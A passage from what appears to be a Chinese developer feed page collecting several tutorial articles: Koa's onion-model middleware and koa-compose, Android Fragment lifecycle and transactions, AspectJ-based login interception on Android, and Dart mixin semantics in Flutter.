const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(9000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

use 方法

use 方法就是做了一件事,维护得到 middleware 中间件数组

use(fn) {
// ...
// 维护中间件数组——middleware
this.middleware.push(fn);
return this;
}

listen 方法 和 callback 方法


执行 app.listen 方法的时候,其实是 Node.js 原生 http 模块 createServer 方法创建了一个服务,其回调为 callback 方法。callback 方法中就有我们今天的重点 compose 函数,它的返回是一个 Promise 函数。

listen(...args) {
debug('listen');
// node http 创建一个服务
const server = http.createServer(this.callback());
return server.listen(...args);
}

callback() {
// 返回值是一个函数
const fn = compose(this.middleware);
const handleRequest = (req, res) => {
// 创建 ctx 上下文环境
const ctx = this.createContext(req, res);
return this.handleRequest(ctx, fn);
};
return handleRequest;
}

handleRequest 中会执行 compose 函数中返回的 Promise 函数并返回结果。

handleRequest(ctx, fnMiddleware) {
const res = ctx.res;
res.statusCode = 404;
const onerror = err => ctx.onerror(err);
const handleResponse = () => respond(ctx);
onFinished(res, onerror);
// 执行 compose 中返回的函数,将结果返回
return fnMiddleware(ctx).then(handleResponse).catch(onerror);
}

koa-compose

compose 函数引用的是 koa-compose 这个库。其实现如下所示:

function compose (middleware) {
// ...
return function (context, next) {
// last called middleware #
let index = -1
// 一开始的时候传入为 0,后续会递增
return dispatch(0)
function dispatch (i) {
// 假如没有递增,则说明执行了多次
if (i <= index) return Promise.reject(new Error('next() called multiple times'))
index = i
// 拿到当前的中间件
let fn = middleware[i]
if (i === middleware.length) fn = next
// 当 fn 为空的时候,就会开始执行 next() 后面部分的代码
if (!fn) return Promise.resolve()
try {
// 执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数
// 也就是说执行 next 的时候也就是调用 dispatch 函数的时候
return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
} catch (err) {
return Promise.reject(err)
}
}
}
}

代码很简单,我们来看看具体的执行流程是怎样的:


当我们执行第一次的时候,调用的是 dispatch(0),这个时候 i 为 0,fn 为第一个中间件函数。并执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数。也就是说中间件执行 next 的时候也就是调用 dispatch 函数的时候,这就是为什么执行 next 逻辑的时候就会执行下一个中间件的原因:

return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));

当第二、第三次执行 dispatch 的时候,跟第一次一样,分别开始执行第二、第三个中间件,执行 next() 的时候开始执行下一个中间件。


当执行到第三个中间件的时候,执行到 next() 的时候,dispatch 函数传入的参数是 3,fnundefined。这个时候就会执行

if (!fn) return Promise.resolve()

这个时候就会执行第三个中间件 next() 之后的代码,然后是第二个、第一个,从而形成了洋葱模型。

其过程如下所示:

简易版 compose

模范 koa 的逻辑,我们可以写一个简易版的 compose。方便大家的理解:

const middleware = []
let mw1 = async function (ctx, next) {
console.log("next前,第一个中间件")
await next()
console.log("next后,第一个中间件")
}
let mw2 = async function (ctx, next) {
console.log("next前,第二个中间件")
await next()
console.log("next后,第二个中间件")
}
let mw3 = async function (ctx, next) {
console.log("第三个中间件,没有next了")
}

function use(mw) {
middleware.push(mw);
}

function compose(middleware) {
return (ctx, next) => {
return dispatch(0);
function dispatch(i) {
const fn = middleware[i];
if (!fn) return;
return fn(ctx, dispatch.bind(null, i+1));
}
}
}

use(mw1);
use(mw2);
use(mw3);

const fn = compose(middleware);

fn();

总结


Koa 的洋葱模型指的是以 next() 函数为分割点,先由外到内执行 Request 的逻辑,再由内到外执行 Response 的逻辑。通过洋葱模型,将多个中间件之间通信等变得更加可行和简单。其实现的原理并不是很复杂,主要是 compose 方法。


链接:https://juejin.cn/post/7012031464237694983



收起阅读 »

翻车了,字节一道 Fragment面试题

一道面试题 前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答 面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么? 所以今天,我们好好了解了解这个用得...
继续阅读 »

一道面试题


前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答


img


面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么?


在这里插入图片描述


所以今天,我们好好了解了解这个用得非常多,但是对底层不是很理解的fragment吧


首先回答面试官的问题,Fragment 的 start与activity 的start 的调用时机



调用顺序:


D/MainActivity: MainActivity:


D/MainActivity: onCreate: start


D/MainFragment: onAttach:


D/MainFragment: onCreate:




D/MainActivity: onCreate: end


D/MainFragment: onCreateView:


D/MainFragment: onViewCreated:


D/MainFragment: onActivityCreated:


D/MainFragment: onViewStateRestored:


D/MainFragment: onCreateAnimation:


D/MainFragment: onCreateAnimator:


D/MainFragment: onStart:




D/MainActivity: onStart:


D/MainActivity: onResume:


D/MainFragment: onResume:



可以看到Activity 在oncreate开始时,Fragment紧接着attach,create,然后activity执行完毕onCreate方法


此后都是Fragment在执行,直到onStart方法结束


然后轮到Activity,执行onStart onResume


也就是,Activity 创建的时候,Fragment一同创建,同时Fragment优先在后台先展示好,最后Activity带着Fragment一起展示到前台。


是什么?


Fragment中文翻译为”碎片“,在手机中,每一个Activity作为一个页面,有时候太大了,尤其是在平板的横屏下,我们希望左半边是一根独立模块,右半边是一个独立模块,比如一个新闻app,左边是标题栏,右边是显示内容


此时就非常适合Fragment


Fragment是内嵌入Activity中的,可以在onCreateView中加载自定义的布局,使用LayoutInflater,然后Activity持有FragmentManager对Fragment进行控制,


下图是他的代码框架


image.png


我们的Activity一般是用AppCompatActivity,而AppCompatActivity继承了FragmentActivity


public class AppCompatActivity extends FragmentActivity implements AppCompatCallback,
TaskStackBuilder.SupportParentable, ActionBarDrawerToggle.DelegateProvider {

也就是说Activity之所支持fragment,是因为有FragmentActivity,他内部有一个FragmentController,这个controller持有一个FragmentManager,真正做事的就是这个FragmentManager的实现类FragmentManagerImpl


整体架构


回到我们刚才的面试题,关于生命周期绝对是重中之重,但是实际上,生命周期本质只是被其他地方的方法被动调用而已,关键是Fragment自己的状态变化了,才会回调生命周期方法,所以我们来看看fragment的状态转移


fragment有七个状态


static final int INVALID_STATE = -1;   // 为空时无效
static final int INITIALIZING = 0; // 未创建
static final int CREATED = 1; // 已创建,位于后台
static final int ACTIVITY_CREATED = 2; // Activity已经创建,Fragment位于后台
static final int STOPPED = 3; // 创建完成,没有开始
static final int STARTED = 4; // 开始运行,但是位于后台
static final int RESUMED = 5; // 显示到前台

在这里有一个有意思的地方,STOPPED,我本来以为是停止阶段,但是在源码中写为”
Fully created, not started.“,所以,其实Fragment的状态是对称的。RESUME状态反而是最后一个状态


调用过程如下


image.png


Fragment的状态转移过程主要受到宿主,事务的影响,宿主一般就是Activity,在我们刚刚的题目中,看到了Activity与Fragment的生命周期交替执行,本质上就是,Activity执行完后通知了Fragment进行状态转移,而Fragment执行了状态转移后对应的回调了生命周期方法


下图可以更加清晰


img


宿主改变Fragment状态


那么我们不禁要问,Activity如何改变Fragment的状态?


我们知道Activity继承于FragmentActivity,最终是通过持有的FragmentManager来控制Fragment,我们去看看


FragmentActivity
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
mFragments.attachHost(null /*parent*/);

super.onCreate(savedInstanceState);
...
mFragments.dispatchCreate();
}

可以看到,onCreate方法中执行了mFragments.dispatchCreate();,看起来像是通知Fragment的onCreate执行,这也印证了我们开始时的周期回调顺序


D/MainActivity: MainActivity: 
D/MainActivity: onCreate: start // 进入onCreate
D/MainFragment: onAttach: // 执行mFragments.dispatchCreate();
D/MainFragment: onCreate:
D/MainActivity: onCreate: end // 退出onCreate

类似的FragmentActivity在每一个生命周期方法中都做了相同的事情


@Override
protected void onDestroy() {
super.onDestroy();

if (mViewModelStore != null && !isChangingConfigurations()) {
mViewModelStore.clear();
}

mFragments.dispatchDestroy();
}

我们进入dispatchCreate看看,


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}

//内部修改了两个状态
public void dispatchCreate() {
mStateSaved = false;
mStopped = false;
dispatchStateChange(Fragment.CREATED);

private void dispatchStateChange(int nextState) {
try {
mExecutingActions = true;
moveToState(nextState, false);// 转移到nextState
} finally {
mExecutingActions = false;
}
execPendingActions();
}
//一路下来会执行到
void moveToState(Fragment f, int newState, int transit, int transitionStyle,
boolean keepActive) {
// Fragments that are not currently added will sit in the onCreate() state.
if ((!f.mAdded || f.mDetached) && newState > Fragment.CREATED) {
newState = Fragment.CREATED;
}
if (f.mRemoving && newState > f.mState) {
if (f.mState == Fragment.INITIALIZING && f.isInBackStack()) {
// Allow the fragment to be created so that it can be saved later.
newState = Fragment.CREATED;
} else {
// While removing a fragment, we can't change it to a higher state.
newState = f.mState;
}
}
...
}

可以看到上面的代码,最终执行到 moveToState,通过判断Fragment当前的状态,同时newState > f.mState,避免状态回退,然后进行状态转移


状态转移完成后就会触发对应的生命周期回调方法


事务管理


如果Fragment只能随着Activity的生命周期变化而变化,那就太不灵活了,所以Android给我们提供了一个独立的操作方案,事务


同样由FragManager管理,具体由FragmentTransaction执行,主要是添加删除替换Fragment等,执行操作后,需要提交来保证生效


FragmentManager fragmentManager = ...
FragmentTransaction transaction = fragmentManager.beginTransaction();
transaction.setReorderingAllowed(true);

transaction.replace(R.id.fragment_container, ExampleFragment.class, null); // 替换Fragment

transaction.commit();// 这里的commit是提交的一种方法

Android给我们的几种提交方式


image-20211020143006614


FragmentTransaction是个挂名抽象类,真正的实现在BackStackState回退栈中,我们看下commit


@Override
public int commit() {
return commitInternal(false);
}
int commitInternal(boolean allowStateLoss) {
if (mCommitted) throw new IllegalStateException("commit already called");
...
mCommitted = true;
if (mAddToBackStack) {
mIndex = mManager.allocBackStackIndex(this);//1
} else {
mIndex = -1;
}
// 入队操作
mManager.enqueueAction(this, allowStateLoss);//2
return mIndex;
}

可以看到,commit的本质就是将事务提交到队列中,这里出现了两个数组,注释1处


ArrayList<BackStackRecord> mBackStackIndices;
ArrayList<Integer> mAvailBackStackIndices;
public int allocBackStackIndex(BackStackRecord bse) {
synchronized (this) {
if (mAvailBackStackIndices == null || mAvailBackStackIndices.size() <= 0) {
if (mBackStackIndices == null) {
mBackStackIndices = new ArrayList<BackStackRecord>();
}
int index = mBackStackIndices.size();
mBackStackIndices.add(bse);
return ind
} else {
int index = mAvailBackStackIndices.remove(mAvailBackStackIndices.size()-1);
mBackStackIndices.set(index, bse);
return index;
}
}
}

mBackStackIndices数组,每个元素是一个回退栈,用来记录索引。比如说,当有五个BackStackState时,移除掉1,3两个,就是在mBackStackIndices将对应元素置为null,然后mAvailBackStackIndices会添加这两个回退栈,记录被移除的回退栈


当下次commit时,就判定mAvailBackStackIndices中的索引,对应的BackStackState一定是null,直接写到这个索引即可


而一组操作都commit到同一个队列里面,所以要么全部完成,要么全部不做,可以保证原子性


注释二处是一个入队操作


public void enqueueAction(OpGenerator action, boolean allowStateLoss
synchronized (this) {
...
mPendingActions.add(action);
scheduleCommit(); // 真正的提交
}
}
public void scheduleCommit() {
synchronized (this) {
boolean postponeReady =
mPostponedTransactions != null && !mPostponedTransactions.isEmpty();
boolean pendingReady = mPendingActions != null && mPendingActions.size() == 1;
if (postponeReady || pendingReady) {
mHost.getHandler().removeCallbacks(mExecCommit);
mHost.getHandler().post(mExecCommit); // 发送请求
}
}

这里最后 mHost.getHandler()是拿到了宿主Activity的handler,使得可以在主线程执行,mExecCommit本身是一个线程


我们继续看下这个mExecCommit


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}
};
public boolean execPendingActions() {
ensureExecReady(true);
...
doPendingDeferredStart();
burpActive();
return didSomething;
}
void doPendingDeferredStart() {
if (mHavePendingDeferredStart) {
mHavePendingDeferredStart = false;
startPendingDeferredFragments();
}
}
void startPendingDeferredFragments() {
if (mActive == null) return;
for (int i=0; i<mActive.size(); i++) {
Fragment f = mActive.valueAt(i);
if (f != null) {
performPendingDeferredStart(f);
}
}
}
public void performPendingDeferredStart(Fragment f) {
if (f.mDeferStart) {
f.mDeferStart = false;
moveToState(f, mCurState, 0, 0, false); // 最终到了MoveToState
}
}

还记得我们在宿主改变Fragment状态,里面的最终路径吗?是的,就是这个moveToState,无论是宿主改变Fragment状态,还是事务来改变,最终都会执行到moveToState,然后call对应的生命周期方法来执行,这也是为什么我们要将状态转移作为学习主线,而不是生命周期。


除了commit,可以看到FragmentTransaction有众多对Fragment进行增删改查的方法


image-20211020143442569


都是由BackStackState来执行,最后都会执行到moveToState中


具体是如何改变的,有很多细节,这里不再赘述。


小结


本节我们讲了Fragment在android系统中的状态,那就是通过自身状态转移来回调对应生命周期方法,这块是自动实现的,我们开发时不太需要关注状态转移,只要知道什么时候执行某个生命周期方法,然后再在对应方法中写业务逻辑即可


有两个方法可以让Fragment状态转移,



  • 宿主Activity生命周期内自动修改Fragment状态,回调Fragment的生命周期方法

  • 通过手动提交事务,修改Fragment状态,回调Fragment的生命周期方法

作者:小松漫步
链接:https://juejin.cn/post/7021398731056480269
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android登录拦截的场景-面向切面基于AOP实现

前言 场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。 非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方...
继续阅读 »

前言


场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。


非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方式?其实很多人并不清楚。


这里做一个系列总结一下,看看公共有多少种方式实现,你们使用的是哪一种方案,或者说你们觉得哪一种方案最好用。


这一次分享的是全网最多的方案 ,面向切面 AOP 的方式。你去某度一搜,Android拦截登录 最多的结果就是AOP实现登录拦截的功能,既然大家都推荐,我们就来看看它到底如何?


一、了解面向切面AOP


我们学习Java的开始,我们一直就知道 OOP 面向对象,其实 AOP 面向切面,是对OOP的一个补充,AOP采取横向收取机制,取代了传统纵向继承体系重复性代码,把某一类问题集中在一个地方进行处理,比如处理程序中的点击事件、打印日志等。


AOP是编程思想就是把业务逻辑和横切问题进行分离,从而达到解耦的目的,提高代码的重用性和开发效率。OOP的精髓是把功能或问题模块化,每个模块处理自己的家务事。但在现实世界中,并不是所有功能都能完美得划分到模块中。AOP的目标是把这些功能集中起来,放到一个统一的地方来控制和管理。


我记得我最开始接触 AOP 还是在JavaEE的框架SSH的学习中,AspectJ框架,开始流行于后端,现在在Android开发的应用中也越来越广泛了,Android中使用AspectJ框架的应用也有很多,比如点击事件防抖,埋点,权限申请等等不一而足,这里不展开说明,毕竟我们这一期不是专门讲AspectJ的应用的。


简单的说一下AOP的重点概念(摘抄):




  • 前置通知(Before):在目标方法被调用之前调用通知功能。




  • 后置通知(After):在目标方法完成之后调用通知,此时不会关心方法的输出是什么。




  • 返回通知(After-returning):在目标方法成功执行之后调用通知。




  • 异常通知(After-throwing):在目标方法抛出异常后调用通知。




  • 环绕通知(Around):通知包裹了被通知的方法,在被通知的方法调用之前和调用之后执行自定义的行为。




  • 连接点:是在应用执行过程中能够插入切面的一个点。




  • 切点: 切点定义了切面在何处要织入的一个或者多个连接点。




  • 切面:是通知和切点的结合。通知和切点共同定义了切面的全部内容。




  • 引入:引入允许我们向现有类添加新方法或属性。




  • 织入:是把切面应用到目标对象,并创建新的代理对象的过程。切面在指定的连接点被织入到目标对象中。在目标对象的生命周期中有多个点可以进行织入:




  • 编译期: 在目标类编译时,切面被织入。这种方式需要特殊的编译器。AspectJ的织入编译器就是以这种方式织入切面的。




  • 类加载期:切面在目标加载到JVM时被织入。这种方式需要特殊的类加载器(class loader)它可以在目标类被引入应用之前增强该目标类的字节码。




  • 运行期: 切面在应用运行到某个时刻时被织入。一般情况下,在织入切面时,AOP容器会为目标对象动态地创建一个代理对象。SpringAOP就是以这种方式织入切面的。




简单理解就是把一个方法拿出来,在这个方法执行前,执行后,做一些特别的操作。关于AOP的基本使用推荐大家看看大佬的教程:


深入理解Android之AOP


不多BB,我们直接看看Android中如何使用AspectJ实现AOP逻辑,实现拦截登录的功能。


二、集成AOP框架


Java项目集成


buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'org.aspectj:aspectjtools:1.8.9'
classpath 'org.aspectj:aspectjweaver:1.8.9'
}
}

组件build.gradle


dependencies {
implementation 'org.aspectj:aspectjrt:1.9.6'
}


import org.aspectj.bridge.IMessage
import org.aspectj.bridge.MessageHandler
import org.aspectj.tools.ajc.Main

// 获取log打印工具和构建配置
final def log = project.logger
final def variants = project.android.applicationVariants
variants.all { variant ->
if (!variant.buildType.isDebuggable()) {
// 判断是否debug,如果打release把return去掉就可以
log.debug("Skipping non-debuggable build type '${variant.buildType.name}'.")
// return;
}
// 使aspectj配置生效
JavaCompile javaCompile = variant.javaCompile
javaCompile.doLast {
String[] args = ["-showWeaveInfo",
"-1.8",
"-inpath", javaCompile.destinationDir.toString(),
"-aspectpath", javaCompile.classpath.asPath,
"-d", javaCompile.destinationDir.toString(),
"-classpath", javaCompile.classpath.asPath,
"-bootclasspath", project.android.bootClasspath.join(File.pathSeparator)]
log.debug "ajc args: " + Arrays.toString(args)

MessageHandler handler = new MessageHandler(true);
new Main().run(args, handler);
//在编译时打印信息如警告、error等等
for (IMessage message : handler.getMessages(null, true)) {
switch (message.getKind()) {
case IMessage.ABORT:
case IMessage.ERROR:
case IMessage.FAIL:
log.error message.message, message.thrown
break;
case IMessage.WARNING:
log.warn message.message, message.thrown
break;
case IMessage.INFO:
log.info message.message, message.thrown
break;
case IMessage.DEBUG:
log.debug message.message, message.thrown
break;
}
}
}
}

Kotlin项目集成


dependencies {
classpath 'com.android.tools.build:gradle:3.6.1'

classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

classpath 'com.hujiang.aspectjx:gradle-android-plugin-aspectjx:2.0.10'


项目build.gradle


apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'

apply plugin: 'android-aspectjx'

android {
...

// AOP 配置
aspectjx {
// 排除一些第三方库的包名(Gson、 LeakCanary 和 AOP 有冲突)
exclude 'androidx', 'com.google', 'com.squareup', 'com.alipay', 'com.taobao',
'org.apache',
'org.jetbrains.kotlin',
"module-info", 'versions.9'
}

}

ependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'org.aspectj:aspectjrt:1.9.5'
}

集成AOP踩坑:
zip file is empty



和第三方包有冲突,比如Gson,OkHttp等,需要配置排除一下第三方包,



gradle版本兼容问题



AGP版本4.0以上不支持 推荐使用3.6.1



kotlin兼容问题 :



基本都是推荐使用 com.hujiang.aspectjx



编译版本兼容问题:



4.0以上使用KT编译版本为Java11需要改为Java8



组件化兼容问题:



如果在library的moudle中自定义的注解, 想要通过AspectJ来拦截织入, 那么这个@Aspect类必须和自定义的注解在同一moudle中, 否则是没有效果的



等等...


难点就在集成,如何在指定版本的Gradle,Kotlin项目中集成成功。只要集成成功了,使用到是简单了。


三、定义注解实现功能


定义标记的注解


//不需要回调的处理
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Login {
}

定义处理类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}
}

object LoginManager {

@JvmStatic
fun isLogin(): Boolean {
val token = SP().getString(Constants.KEY_TOKEN, "")
YYLogUtils.w("LoginManager-token:$token")
val checkEmpty = token.checkEmpty()
return !checkEmpty
}

@JvmStatic
fun gotoLoginPage() {
commContext().gotoActivity<LoginDemoActivity>()
}
}

其实逻辑很简单,就是判断是否登录,看是放行还是跳转到登录页面


使用的逻辑也是很简单,把需要处理的逻辑使用方法抽取,并标记注解即可


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage2()
}

}

@Login
private fun gotoProfilePage2() {
gotoActivity<ProfileDemoActivity>()
}

效果:



这..这和我使用Token自己手动判断有什么区别,完成登录之后还得我再点一次按钮,当然了这只是登录拦截,我想要的是登录成功之后继续之前的操作,怎么办?


其实使用AOP的方式的话,我们可以使用消息通知的方式,比如LiveBus FlowBus之类的间接实现这个效果。


我们先单独的定义一个注解


//需要回调的处理用来触发用户登录成功后的后续操作
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface LoginCallback {
}

修改定义的切面类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.LoginCallback)")
public void LoginCallback() {
}

//带回调的注解处理
@Around("LoginCallback()")
public void loginCallbackJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-LoginCallback()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

LoginCallback loginCallback = ((MethodSignature) signature).getMethod().getAnnotation(LoginCallback.class);
if (loginCallback == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();

} else {
LifecycleOwner lifecycleOwner = (LifecycleOwner) joinPoint.getTarget();

LiveEventBus.get("login").observe(lifecycleOwner, new Observer<Object>() {
@Override
public void onChanged(Object integer) {
try {
joinPoint.proceed();
LiveEventBus.get("login").removeObserver(this);

} catch (Throwable throwable) {
throwable.printStackTrace();
LiveEventBus.get("login").removeObserver(this);
}
}
});

LoginManager.gotoLoginPage();
}
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}


}
}

在去登录页面之前注册一个LiveEventBus事件,当登录完成之后发出通知,这里就直接放行调用注解的方法。即可完成继续执行的操作。


使用:


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage()
}

}

@LoginCallback
private fun gotoProfilePage() {
gotoActivity<ProfileDemoActivity>()
}

效果:



总结


从上面的代码我们就基于AOP思想实现了登录拦截功能,以后我们对于需要用户登录之后才能使用的功能只需要在对应的方法上添加指定的注解即可完成逻辑,彻底摆脱传统耗时耗力的开发方式。


需要注意的是AOP框架虽然使用起来很方便,能帮我们轻松完成函数插桩功能,但是它也有自己的缺点。AspectJ 在实现时会包装自己的一些类,不仅会影响切点方法的性能,还会导致安装包体积的增大。最关键的是对Kotlin不友好,对高版本AGP不友好,所以大家在使用时需要仔细权衡是否适合自己的项目。如有需求可以运行源码查看效果。源码在此


由于篇幅原因,后期会出单独出一些其他方式实现的登录拦截的实现,如果觉得这种方式不喜欢,大家可以对比一下哪一种方式比较你胃口。大家可以点下关注看看最新更新。


题外话:
我发现大家看我的文章都喜欢看一些总结性的,实战性的,直接告诉你怎么用的那种。所以我尽量不涉及到集成原理与基本使用,直接开箱即用。当然关于原理和基本的使用,我也不是什么大佬,我想大家也看不上我讲的。不过我也会给出推荐的文章。


好了,我本人如有讲解不到位或错漏的地方,希望同学们可以指出交流。


如果感觉本文对你有一点点点的启发,还望你能点赞支持一下,你的支持是我最大的动力。


Ok,这一期就此完结。



作者:newki
链接:https://juejin.cn/post/7132643283083198501
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 语法进阶 | 深入理解混入类 mixin

混入类引言 混入类是 Dart 中独有的概念,它是 继承 、实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类 和 接口 的中间地带。下面就来认识...
继续阅读 »
混入类引言

混入类是 Dart 中独有的概念,它是 继承实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类接口 的中间地带。下面就来认识一下混入类的 使用与特性




1. 混入类的定义与使用

混入类通过 mixin 关键字进行声明,如下的 MoveAble 类,其中可以持有 成员变量 ,也可以声明和实现成员方法。对混入类通过 with 关键字进行使用,如下的 Shape 混入了 MoveAble 类。在下面 main 方法测试中可以看出,混入一个类,就可以访问其中的成员属性与方法,这点和 继承 非常像。


void main(){
 Shape shape = Shape();
 shape.speed = 20;
 shape.move();//=====Shape move====
 print(shape is MoveAble);// true
}

mixin MoveAble{
 double speed = 10;
 void move(){
   print("=====$runtimeType move====");
}
}

class Shape with MoveAble{

}



一个类可以混入若干个类,通过 , 号隔开。如下 Shape 混入了 MoveAblePaintAble ,就表示 Shape 对象可以同时拥有这两个类的能力。这个功能和接口有点相似,不过混入类可以进行对方法进行实现,这点要比接口更灵活。有点 随插随用 的感觉,甚至 Shape 类中可以什么都不做,就坐拥 “王权富贵”


mixin PaintAble{
 void paint(){
   print("=====$runtimeType paint====");
}
}

class Shape with MoveAble,PaintAble{
}

值得注意一点的是:混入类支持 抽象方法 ,而且同样要求派生类必须实现 抽象方法 。如下 PaintAbletag1 处定义了 init 抽象方法,在 Shape 中必须实现,这一点又和 抽象类 有些相像。所以我说混入类像是 抽象类接口 的中间地带,它不像继承那样单一,也不像接口那么死板。


mixin PaintAble{
 late Paint painter;
 void paint(){
   print("=====$runtimeType paint====");
}
 void init();// tag1
}

class Shape with MoveAble,PaintAble{
 @override
 void init() {
   painter = Paint();
}
}



2. 混入类对二义性的解决方式

通过前面可以看出,混入类 可谓 上得厅堂下得厨房 ,能打能抗的六边形战士。但,没有任何事物是完美无缺的。仔细想一下,既然语法上支持 多混入 ,那解决二义性就是一座不可避免大山。接口 牺牲了 普通成员方法实现 ,可谓断尾求生,才解决二义性问题,支持 多实现 。而 混入类 又能写成员变量,又能写成员方法,那它牺牲了什么呢?答案是:


混入类不能拥有【构造方法】

这一点就从本质上限制了 混入类 无法直接创建对象,这也是它和 普通类 最大的差异。从这里可以看出,抽象类接口混入类 都具有不能直接实例化的特点。本质上是因为这三者都是更高层的抽象,可能存在未实现的功能。那为什么混入类无法构造,就能解决二义性问题呢?下面来分析一下,两个混入类中的同名成员、同名方法,在多混入场景中是如何工作的。如下测试代码所示,AB 两个混入类拥有同名的 成员属性成员方法 :


mixin A {
 String name = "A";

 void log() {
   print(name);
}
}

mixin B {
 String name = "B";

 void log() {
   print(name);
}
}

此时,C 依次混入 AB 类,然后实例化 C 对象,执行 log 方法,可以看出,打印的是 B


class C with A, B {}

void main() {
 C c = C();
 c.log(); // B
}

如果 C 依次混入 BA 类,打印结果是 A 。也就是说对于多混入来说,混入类的顺序是至关重要的,当存在二义性问题时,会 “后来居上” ,访问最后混入类的方法或变量。这点往往会被很多人忽略,或压根不知道。


class C with B, A {}

void main() {
 C c = C();
 c.log(); // A
}



另外,补充一个小细节,如果 C 类覆写了 log 方法,那么执行时毋庸置疑是走 C#log 。由于混入类支持方法实现,所以派生类中可以通过 super 关键字触发 “基类” 的方法。同样对于二义性的处理也是 “后来居上” ,下面的 super.log() 执行的是 B 类方法。这种特性常用于对有生命周期的类进行拓展的场景,比如 AutomaticKeepAliveClientMixin


class C with A, B {
 
 @override
 void log() {
   super.log();// B
   print("C");
}
}



3.混入类间的继承细节

另外,两个混入类间可以通过 on 关键字产生类似于 继承 的关系:如下 MoveAble on Position 之后,MoveAble 类中可以访问 Position 中定义的 vec2 成员变量。





但有一点要特别注意,由于 MoveAble on Position ,当 Shape with MoveAble 时,必须在 MoveAble 之前混入 Position 。这点可能很多人也都不知道。



class Shape with Position,MoveAble,PaintAble{

}



另外,混入类并非仅由mixin 声明,一切满足 没有构造方法 的类都可以作为混入类。比如下面 A普通类B接口(抽象)类 ,都可以在 with 后作为 混入类被对待 。也就是说,一个类的可以用多重身份,并非是互斥的,它具体是什么身份,要看使用的场景。而使用场景最醒目的标志是 关键字



























关键字类关系耦合性
extend继承
implements实现
with混入

class A {
 String name = "A";

 void log() {
   print(name);
}
}

abstract class B{
 void log();
}

class C with A, B {

 @override
 void log() {
   super.log();// B
   print("C");
}
}



4.根据源码理解混入类

混入类在 Flutter 框架层的使用是非常多的,在 《Flutter 渲染机制 - 聚沙成塔》的 十二章 结合源码介绍了混入类的价值。下面来举个混入类的使用场景,会有些难,新手适当理解。比如 AutomaticKeepAliveClientMixin 继承 State :


mixin AutomaticKeepAliveClientMixin<T extends StatefulWidget> on State<T> {}

所以它可以在 State 的生命周期相关回调方法中做额外的处理,来实现某些特定的功能能。



